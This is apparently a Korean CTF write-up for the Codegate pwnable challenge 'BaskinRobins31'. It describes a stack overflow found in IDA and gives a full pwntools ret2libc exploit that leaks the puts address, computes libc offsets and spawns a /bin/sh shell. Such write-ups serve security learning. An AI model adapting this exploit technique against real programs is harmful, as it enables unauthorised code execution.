베스킨 라빈스다
일단 바이너리 실행시켜보면 절~~~~대 못이긴다.
그래서 ida로 확인해봤더니 read 함수가 존재했다.
0딱봐도 오버플로우다.
S가 0xb0 이라 10진수로 바꾸면 176이다.
SFP 까지하면 184바이트인데 184바이트로 오버플로우시키면된다.
근데 우리는 leak 을 시켜줘야한다. 그래서 처음에 입력을 받고 다시한번 your turn 이라는 함수를 호출해서 릭한걸로 다시 익스를 해야한다.
from pwn import *
p = process('./BaskinRobins31')
binf = ELF('./BaskinRobins31')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
your_turn = binf.symbols['your_turn']
puts_plt = binf.plt['puts']
puts_got = binf.got['puts']
pr = 0x400bc3
payload = ""
payload += "A"*184
payload += p64(pr)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(your_turn)
p.sendline(payload)
p.recvuntil("...:(")
p.recvline()
#p.interactive()
leaked = u64(p.recv(6).ljust(8, "\x00"))
libc_base = leaked - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
log.success("leaked success")
log.info("leaked address :" + hex(leaked))
log.info("system address :" + hex(system_addr))
payload2 = ""
payload2 += "A"*184
payload2 += p64(pr)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
p.sendlineafter("(1-3)", payload2)
p.recvlines(4)
p.interactive()
요런식으로
'CTF > Codegate' 카테고리의 다른 글
Codegate pwnable_Super_marimo Write up (0) | 2019.10.28 |
---|---|
Codegate pwnable_babypwn Write up (0) | 2019.10.25 |
Codegate Reverse_angrybird_ Write up (0) | 2019.10.24 |
Codegate pwnable_nuclear Write up (0) | 2019.10.24 |
Codegate pwnable_Watermelon Write up (0) | 2019.10.24 |